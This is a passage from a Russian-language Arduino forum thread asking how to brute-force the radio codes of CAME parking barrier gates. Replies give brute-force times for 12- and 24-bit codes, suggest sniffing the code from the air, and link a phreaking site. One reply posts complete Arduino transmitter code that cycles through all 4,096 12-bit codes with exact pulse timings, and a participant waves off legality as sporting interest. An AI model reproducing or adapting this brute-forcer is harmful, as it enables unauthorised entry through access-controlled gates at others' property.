Переборщик кодов на arduino для шлагбаумов came
- Войдите на сайт для отправки комментариев
Пнд, 20/04/2015 - 18:48
Здравствуйте. Сколько ни искал найти не смог. А Есть ли в свободном доступе код переборщика для ардуино, чтобы можно было бы подключить передатчик и генерировать посылки.
Сколько ни искал найти не смог.
http://arduino.ru/forum/apparatnye-voprosy/biblioteka-chteniya-id-brelkov-signalizatsiii-hcs301-keeloq#comment-35599
Здравствуйте. Сколько ни искал найти не смог. А Есть ли в свободном доступе код переборщика для ардуино, чтобы можно было бы подключить передатчик и генерировать посылки.
какой шлагбаум, как называется?
........ для шлагбаумов came
Зачем переборщик, сразу сделайте
http://phreakerclub.com/1129
там сигнал статичен, 12 или 24 бита, перебор 12 бит занимает 5-7 минут.
Забыли написать сколько займет перебор 24 бит.
Около 2х месяцев. А не проще считать код с эфира? Его ведь иногда открывают...
int send_code_pin = 13; //int send_code = 3061; это код определенный методом перебора для моего шлагбаума void setup() { pinMode(send_code_pin, OUTPUT); } void loop () { for (int send_code = 0; send_code < 4096; send_code++) // этот цикл после того как код определен необходимо убрать { for (int j = 0; j <7; j++) // достаточно 4-х, но из-за помех поставил 7 { digitalWrite(send_code_pin, HIGH); // стартовый импульс delayMicroseconds(700); digitalWrite(send_code_pin, LOW); for (int i = 12; i > 0; i--) { boolean bit_code = bitRead(send_code, i - 1); if (bit_code) { digitalWrite(send_code_pin, LOW); // единица delayMicroseconds(1400); digitalWrite(send_code_pin, HIGH); delayMicroseconds(700); } else { digitalWrite(send_code_pin, LOW); // ноль delayMicroseconds(700); digitalWrite(send_code_pin, HIGH); delayMicroseconds(1400); } } digitalWrite(send_code_pin, LOW); // пилотный период delayMicroseconds(25200); } } //delay(10000); после определения кода поставить задержку }Для приема Со 2 пина
Для отсылания с 11 пина
дело не в легальности а в спортивном интересе.